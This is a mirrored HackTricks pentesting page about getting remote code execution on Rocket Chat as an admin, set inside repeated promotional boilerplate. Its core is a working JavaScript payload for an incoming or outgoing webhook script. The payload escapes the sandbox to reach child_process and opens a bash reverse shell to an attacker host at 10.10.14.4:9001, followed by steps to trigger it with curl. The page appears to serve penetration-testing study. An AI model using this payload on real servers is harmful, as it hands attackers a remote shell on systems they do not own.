mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
3.9 KiB
3.9 KiB
Rocket Chat
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
![](https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif)
{% embed url="https://websec.nl/" %}
RCE
If you are admin inside Rocket Chat you can get RCE.
- Got to
Integrations
and selectNew Integration
and choose any:Incoming WebHook
orOutgoing WebHook
./admin/integrations/incoming
![](/Mirrors/hacktricks/media/commit/ff6b54afb1917fc18f5abc9640b2866e1088e116/.gitbook/assets/image%20%28266%29.png)
- According to the docs, both use ES2015 / ECMAScript 6 (basically JavaScript) to process the data. So lets get a rev shell for javascript like:
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
- Configure the WebHook (the channel and post as username must exists):
![](/Mirrors/hacktricks/media/commit/ff6b54afb1917fc18f5abc9640b2866e1088e116/.gitbook/assets/image%20%28905%29.png)
- Configure WebHook script:
![](/Mirrors/hacktricks/media/commit/ff6b54afb1917fc18f5abc9640b2866e1088e116/.gitbook/assets/image%20%28572%29.png)
- Save changes
- Get the generated WebHook URL:
![](/Mirrors/hacktricks/media/commit/ff6b54afb1917fc18f5abc9640b2866e1088e116/.gitbook/assets/image%20%28937%29.png)
- Call it with curl and you shuold receive the rev shell
![](https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif)
{% embed url="https://websec.nl/" %}
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
- If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
- Get the official PEASS & HackTricks swag
- Discover The PEASS Family, our collection of exclusive NFTs
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
- Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.